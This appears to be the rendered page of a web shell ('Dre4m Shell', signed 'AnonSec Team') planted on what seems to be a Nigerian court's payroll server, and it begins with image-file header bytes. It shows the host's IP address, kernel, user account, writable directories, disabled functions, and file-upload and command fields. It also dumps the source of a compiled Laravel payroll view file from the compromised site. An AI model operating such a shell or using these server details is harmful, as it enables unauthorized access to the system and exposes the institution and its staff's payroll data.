ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.12.136.254
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/56cce8bdfffb31181ff36aea08917cd0ff056727.php
<?php $__env->startSection('pageTitle'); ?>
  Justices  Payroll Summary
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
    <form method="post" action="<?php echo e(url('/council-members/payroll-vc')); ?>">
        <div class="box-body" style="background:#FFF;">
            <div class="box-header with-border hidden-print">
                <h3 class="box-title pull-center"><?php echo $__env->yieldContent('pageTitle'); ?>
            </div>
            <div class="row">
                <div class="col-md-12">
                    <!--1st col-->
                    <?php if(count($errors) > 0): ?>
                        <div class="alert alert-danger alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span>
                            </button>
                            <strong>Error!</strong>
                            <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <p><?php echo e($error); ?></p>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </div>
                    <?php endif; ?>
                    <?php if(session('message')): ?>
                        <div class="alert alert-success alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span>
                            </button>
                            <strong>Success!</strong>
                            <?php echo e(session('message')); ?>

                        </div>
                    <?php endif; ?>
                    <?php if(session('error')): ?>
                        <div class="alert alert-danger alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span>
                            </button>
                            <strong>Success!</strong>
                            <?php echo e(session('error')); ?>

                        </div>
                    <?php endif; ?>
                </div>
                <?php echo e(csrf_field()); ?>

                <div class="col-md-12">
                    <div class="row">

                        <?php if($CourtInfo->courtstatus == 1): ?>
                            <div class="col-md-6">
                                <div class="form-group">
                                    <label>Select Court</label>
                                    <select name="court" id="court" class="form-control" style="font-size: 13px;">
                                        <option value="">Select Court</option>
                                        <?php $__currentLoopData = $courts; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $court): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                            <?php if($court->id == session('anycourt')): ?>
                                                <option value="<?php echo e($court->id); ?>" selected="selected">
                                                    <?php echo e($court->court_name); ?></option>
                                            <?php else: ?>
                                                <option value="<?php echo e($court->id); ?>"
                                                    <?php if(old('court') == $court->id): ?> selected <?php endif; ?>>
                                                    <?php echo e($court->court_name); ?></option>
                                            <?php endif; ?>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    </select>

                                </div>
                            </div>
                        <?php else: ?>
                            <input type="hidden" id="court" name="court" value="<?php echo e($CourtInfo->courtid); ?>">
                        <?php endif; ?>

                        <?php if(Auth::user()->is_global == 1): ?>
                            <div class="col-md-6">
                                <div class="form-group">
                                    <label>Select Division</label>
                                    <select name="division" id="division_" class="form-control" style="font-size: 13px;">
                                        <option value="">Select Division</option>
                                        <?php $__currentLoopData = $courtDivisions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $divisions): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                            <option value="<?php echo e($divisions->divisionID); ?>"
                                                <?php if(old('division') == $divisions->divisionID): ?>  <?php endif; ?>><?php echo e($divisions->division); ?>

                                            </option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    </select>
                                </div>
                            </div>
                        <?php else: ?>
                            <div class="col-md-6">
                                <div class="form-group">
                                    <label>Division</label>
                                    <input type="text" class="form-control" id="divisionName" name="divisionName"
                                        value="<?php echo e($curDivision->division); ?>" readonly>
                                </div>
                            </div>
                            <input type="hidden" id="division" name="division" value="<?php echo e(Auth::user()->divisionID); ?>">
                            <!--<input type="hidden" id="division" name="division" value="<?php echo e($CourtInfo->divisionid); ?>">-->
                        <?php endif; ?>

                        <div class="col-md-6">
                            <div class="form-group">
                                <label> Select a Month </label>
                                <select name="month" id="section" class="form-control">
                                    <option value="">Select Month </option>
                                    <option value="JANUARY" <?php if(($activeMonth !== '') && $activeMonth->month == 'JANUARY'): ?> selected <?php elseif($month == 'JANUARY'): ?> selected <?php endif; ?>>January</option>
                                    <option value="FEBRUARY" <?php if(($activeMonth !== '') && $activeMonth->month == 'FEBRUARY'): ?> selected <?php elseif($month == 'FEBRUARY'): ?> selected <?php endif; ?>>February</option>
                                    <option value="MARCH" <?php if(($activeMonth !== '') && $activeMonth->month == 'MARCH'): ?> selected <?php elseif($month == 'MARCH'): ?> selected <?php endif; ?>>March</option>
                                    <option value="APRIL" <?php if(($activeMonth !== '') && $activeMonth->month == 'APRIL'): ?> selected <?php elseif($month == 'APRIL'): ?> selected <?php endif; ?>>April</option>
                                    <option value="MAY" <?php if(($activeMonth !== '') && $activeMonth->month == 'MAY'): ?> selected <?php elseif($month == 'MAY'): ?> selected <?php endif; ?>>May</option>
                                    <option value="JUNE" <?php if(($activeMonth !== '') && $activeMonth->month == 'JUNE'): ?> selected <?php elseif($month == 'JUNE'): ?> selected <?php endif; ?>>June</option>
                                    <option value="JULY" <?php if(($activeMonth !== '') && $activeMonth->month == 'JULY'): ?> selected <?php elseif($month == 'JULY'): ?> selected <?php endif; ?>>July</option>
                                    <option value="AUGUST" <?php if(($activeMonth !== '') && $activeMonth->month == 'AUGUST'): ?> selected <?php elseif($month == 'AUGUST'): ?> selected <?php endif; ?>>August</option>
                                    <option value="SEPTEMBER" <?php if(($activeMonth !== '') && $activeMonth->month == 'SEPTEMBER'): ?> selected <?php elseif($month == 'SEPTEMBER'): ?> selected <?php endif; ?>>September</option>
                                    <option value="OCTOBER" <?php if(($activeMonth !== '') && $activeMonth->month == 'OCTOBER'): ?> selected <?php elseif($month == 'OCTOBER'): ?> selected <?php endif; ?>>October</option>
                                    <option value="NOVEMBER" <?php if(($activeMonth !== '') && $activeMonth->month == 'NOVEMBER'): ?> selected <?php elseif($month == 'NOVEMBER'): ?> selected <?php endif; ?>>November</option>
                                    <option value="DECEMBER" <?php if(($activeMonth !== '') && $activeMonth->month == 'DECEMBER'): ?> selected <?php elseif($month == 'DECEMBER'): ?> selected <?php endif; ?>>December</option>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="form-group">
                                <label>Select a Year</label>
                                <select name="year" id="year" class="form-control">
                                    <option value="">Select Year</option>
                                    <?php for($i=2010;$i<=2040;$i++): ?>
                                        <option value="<?php echo e($i); ?>" <?php if(($activeMonth !== '') && $activeMonth->year == $i): ?> selected <?php elseif($year == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                                    <?php endfor; ?>
                                </select>
                            </div>
                        </div>

                        <div class="col-md-12">
                            <div class="form-group">
                              <label></label>
                              <div >
                                <button type="button" id="locationButton" class="btn btn-primary">View Location</button>
                                <button type="submit" class="btn btn-success">Display Payroll</button>
                              </div>
                            </div>           
                          </div>
                    </div>
                </div>
            </div><!-- /.col -->
        </div><!-- /.row -->
    </form>

    <form id="location" method="post" action=<?php echo e(url('/council-members-payroll-location')); ?>>
        <?php echo e(csrf_field()); ?>

        <input type="hidden" id="locationMonth" name="month"/>
        <input type="hidden" id="locationYear" name="year"/>
      </form>
      

<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>

<script>
    document.getElementById('locationButton').addEventListener('click', function() {
        const month = document.getElementById('section').value
        const year = document.getElementById('year').value
        document.getElementById('locationMonth').value = month
        document.getElementById('locationYear').value = year
        document.getElementById('location').submit();
    });
  </script>

    <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>

    <script type="text/javascript">
        $(document).ready(function() {

            $("#court").on('change', function(e) {
                e.preventDefault();
                var id = $(this).val();
                //alert(id);
                $token = $("input[name='_token']").val();
                $.ajax({
                    headers: {
                        'X-CSRF-TOKEN': $token
                    },
                    url: murl + '/session/court',

                    type: "post",
                    data: {
                        'courtID': id
                    },
                    success: function(data) {
                        location.reload(true);
                        //console.log(data);
                    }
                });

            });
        });
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/forwardCouncilMembers/checkingCouncilPage.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team